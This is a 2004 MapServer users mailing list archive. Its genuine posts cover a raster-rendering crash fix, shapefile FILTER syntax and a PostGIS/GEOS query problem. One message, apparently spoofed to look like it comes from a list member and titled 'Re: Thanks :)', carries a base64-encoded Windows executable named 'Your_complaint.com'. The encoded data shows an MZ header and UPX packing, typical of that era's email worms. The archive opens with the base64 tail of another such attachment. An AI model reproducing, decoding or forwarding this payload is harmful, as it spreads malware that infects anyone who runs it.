rQsChgeqUpcfXrtxkISrCms4aw1cGlUzHbB6apBrXlilj4lvnLFJGUsHOlhEI7RLLw1itI2Z Smu6vRaTYE8klLyrRaB2nQMLUsRTS7GBI6nHYidgMMEjclpacybEVcUQRoi/dCmQn2SuPFOZ glN2arOMRFY6mqAoASx5kH8upn0gcD9HD01cnDicXB8LScKZbnYkvqeuOsUtYEpXOBoDHCCu goa+qy43PjmzubkPPn8eSFGQD5yzF0V0ezglAcI+WJdTSXllaMERCAdfErq6QaVrIWpjWIOm gKs7uZKtPIqtEI6EYqo0k8WvMDNTSKoFBoIFkmtFnRZakTuhRGtdUkzCWgk9G285WFJIDqAN QSxBNCBAeLx1NhuFsbMGWDlNkX5mcC9cAImmOSTHUVyyOWd/QiyUxcYyPAw7l3ZbTjl1K3uS CyVRRqAPjKNRWTdxP7CBo66FCl+jKpvFjyPEWYcLt29XYAtvsBdEOIlDbFzCW6+9MDS6GVW1 AQ2oMw8Pu46gfxYUAhtCKaiRn2/BCgJ1VS26cC6qxghTJFNAwBcAvS1EgKyvKlIDhYzDII4o B5qzxVYFVh9VM61DRHFAL1h2c34ZgpQpb4tNdx80EmOcjxk1ijdkL0xmTa0chVpThGECuGqJ sqFOfzEeLI9AP1igYg3HgngHIk4QoD1RY0nHWjIAZFgPkZ4lblKCMzlbTq8MjbU8kkghaQyb BauuGjCKdCQ+HbhdgbuoxLOpYHpukBcgCnyWmq1qg2U1WYpFQwI5bUY1NCkwuyNuI642OZyM p6sJPHRLpS9/GHlNCphTJrCUUUtlKHWrsTm/NQGVsVCvfHxrBwk= ----------vppacrpnacqxcbdzofoi-- From warmerdam at pobox.com Tue May 11 15:44:40 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 11 May 2004 18:44:40 -0400 Subject: [Mapserver-users] Bug 493 / Crashing with raster layers / 4.2 beta-2 declared dangerous Message-ID: <40A15758.6010003@pobox.com> Flip, I was able to reproduce the problem you talked to me about on the phone. In fact, it related to an improper fix I introduced in the last couple weeks for raster "cracking" (bugzilla bug 493). My fix caused the output window to sometimes go one pixel off the output image resulting in errant pointers and memory corruption in some render scenarios - especially common in tileindexed layers. I have committed a fix int the 4.3 CVS head, and also into the 4.2 release branch since the problem occured in both. I would suggest you do a cvs update and rebuild. I would add that MapServer 4.2 beta-2 is unsafe for raster mapping as it stands. A beta-3 (or final release) should be available fairly soon with this issue resolved. Thank you for bringing this issue to my attention. We might well have issued a 4.2 final release with this serious bug still active if not for your testing. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From ealpert at digitalglobe.com Tue May 11 15:48:50 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Tue, 11 May 2004 16:48:50 -0600 Subject: [Mapserver-users] Filtering shapes? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BF2@COMAIL01.digitalglobe.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C437AA.205AD47E Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Is there a way to filter snapes based on attributes? =20 I have a shape file with each shape having a date and I want to display only shapes within a certain date range. I used the FILTER layer parameter when I was using postgis (which I can't do anymore because I can't do a distinct select). Now I'm using a shape file. =20 Thanks, =20 -e ------_=_NextPart_001_01C437AA.205AD47E Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Is = there a way to=20 filter snapes based on attributes?
 
I have = a shape file=20 with each shape having a date and I want to display only shapes within a = certain=20 date range. I used the FILTER layer parameter when I was using postgis = (which I=20 can't do anymore because I can't do a distinct select). Now I'm using a = shape=20 file.
 
Thanks,
 
-e
=00 ------_=_NextPart_001_01C437AA.205AD47E-- From bigfoot at main-task.com Tue May 11 15:57:19 2004 From: bigfoot at main-task.com (=?ISO-8859-1?Q?Vladimir_Guzm=E1n?=) Date: Tue, 11 May 2004 17:57:19 -0500 Subject: [Mapserver-users] geos + postgis + querybypoint Message-ID: <40A15A4F.4030901@main-task.com> Hello, list. I have an application in php mapscript, using postgis, in a server running RedHat 8. The application works fine in this server. I mounted exactly the same application in another server running SuSE 8.2. The only difference is that I configured postgis with GEOS support in the suse server. Now I have problems making a querybypoint in some layers. There is no problem drawing the layers. I made a dump with pg_dump, and after restoring the dump in the suse server, I made a VACUUM ANALYZE. My question is: compiling postgis with GEOS alters the way mapserver makes the queries? Thanks a lot, -- Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com From ealpert at digitalglobe.com Tue May 11 17:12:21 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Tue, 11 May 2004 18:12:21 -0600 Subject: [Mapserver-users] RE: Filtering shapes? Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BF4@COMAIL01.digitalglobe.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C437B5.CB9F6AC7 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Ok I figured it out. =20 With postgis I was using a FILTER with quotes but the snap filter requires using ('s. =20 So my FILTER line looks like this now: =20 FILTER ([bestcloudc] < .1 and [bestimageq] > 70) =20 instead of: =20 FILTER "bestcloudcover < .1 and bestimagequality > 70" =20 The 10 character limit for attributes threw me for a while too. =20 Thanks, =20 -e -----Original Message----- From: Ethan Alpert=20 Sent: Tuesday, May 11, 2004 4:49 PM To: mapserver-users at lists.gis.umn.edu Subject: Filtering shapes? =09 =09 Is there a way to filter snapes based on attributes? =20 I have a shape file with each shape having a date and I want to display only shapes within a certain date range. I used the FILTER layer parameter when I was using postgis (which I can't do anymore because I can't do a distinct select). Now I'm using a shape file. =20 Thanks, =20 -e ------_=_NextPart_001_01C437B5.CB9F6AC7 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Ok I=20 figured it out.
 
With=20 postgis I was using a FILTER with quotes but the snap filter requires = using=20 ('s.
 
So my=20 FILTER line looks like this now:
 
FILTER=20 ([bestcloudc] < .1 and [bestimageq] > 70)
 
instead of:
 
FILTER=20 "bestcloudcover < .1 and bestimagequality > = 70"
 
The 10=20 character limit for attributes threw me for a while = too.
 
Thanks,
 
-e
-----Original Message-----
From: = Ethan Alpert=20
Sent: Tuesday, May 11, 2004 4:49 PM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: Filtering=20 shapes?

Is = there a way to=20 filter snapes based on attributes?
 
I = have a shape=20 file with each shape having a date and I want to display only shapes = within a=20 certain date range. I used the FILTER layer parameter when I was using = postgis=20 (which I can't do anymore because I can't do a distinct select). Now = I'm using=20 a shape file.
 
Thanks,
 
-e
=00 ------_=_NextPart_001_01C437B5.CB9F6AC7-- From steve.lime at dnr.state.mn.us Tue May 11 19:56:40 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 11 May 2004 20:56:40 -0600 Subject: [Mapserver-users] Re: Thanks :) Message-ID: ----------lusrlrldlpxokbsawnwk Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------lusrlrldlpxokbsawnwk Content-Type: application/octet-stream; name="Your_complaint.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_complaint.com" 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 